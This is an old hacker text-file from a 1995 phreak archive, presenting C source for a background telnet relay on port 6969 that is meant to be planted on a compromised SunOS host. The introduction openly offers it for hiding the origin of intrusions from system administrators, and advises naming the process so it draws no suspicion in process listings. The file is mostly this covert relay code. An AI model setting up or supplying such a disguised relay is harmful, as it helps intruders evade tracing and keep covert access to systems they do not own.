(--------------------------------------------------------)

                         Telnet Gateway
                            by Chaos

   (--------------------------------------------------------)

     Ever worry about some egotistical sysadmin getting pissed off
when you hack his system, and having him trace it back to your
local system?  If you are like most hackers, even if you are
careful and telnet through another system first, it is still fairly
easy to trace back through.  Using the following program bellow you
can make it a real bitch for anyone to find where you are coming
from, let alone what account.  This program, which has only been
tested on Sun OS, will allocate a port and set up a telnet gateway.
Because this program only allocates a socket, in order for someone
to trace it back to you, the sysadmin of the system it is set up on
would have to monitor the socket and see where the connection is
coming from, which is not very likely, the sysadmin already has
plenty to do.  This is setup currently to port 6969 and will run in
the background.  Be sure to call it something that will not gather
any suspicion from anyone running ps -aux.  This will also write to
the file log, the date and time anyone uses the telnet gateway.
Have phun!

Thanks go out to al- for the original source code.

--------------------cut here--------------------
#include <sys/fcntl.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>


FILE *errfd;

static int serfd;
struct sockaddr_in   addr;
char buffer[10][80];
int sockused[10];
int numports = 10;
int numproc=0;

died()
{
  numproc--;
  wait3(NULL,WNOHANG,NULL);
  signal(SIGCLD,died);
  return;
}

init_io()
{

  signal(SIGCLD,died);

  if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
    return(1);


  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = 6969;


  if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
  {
    fprintf(errfd,"ioinit  cannot bind socket\n");
    exit(1);
  }

  if (listen(serfd,5) == -1)
  {
    fprintf(errfd,"ioinit  cannot listen at socket\n");
    return(1);
  }

  return(0);
}


getconnect()
{
  int s,length;
  struct sockaddr_in address;

  while(1)
  {
    length= sizeof addr;
    while ((s= accept(serfd,&address,&length))<0);
    wait3(NULL,WNOHANG,NULL);
    if (fork() == 0) /* child */
    {
        system("date >>log");
        numproc++;
        dup2(s,0);
        dup2(s,1);
        dup2(s,2);
        close(s);
        system("exec telnet");
        kill(getpid(),SIGKILL);

        close(0);
        close(1);
        close(2);
        exit;
    }                /* end child */

    close(s);
    wait3(NULL,WNOHANG,NULL);
  }
}




main()
{
  int i;
  char temp[80],*term;
  int fd;

  for(i=0;i<36;i++) close(i);



  errfd=fopen("ERR","w");
  if(errfd==NULL) return(-1);
  setsid();
  if(fork()!=0) return(-1);
  init_io();
  getconnect();
}
--------------------cut here--------------------



-------------------------------------------------------------------------
This file was ripped from The 416 Phreaks Accumulated Collection Archive.

   File Number: 0087
   Category: Hacking/Programs
   Archive: 1.00 (May 1995)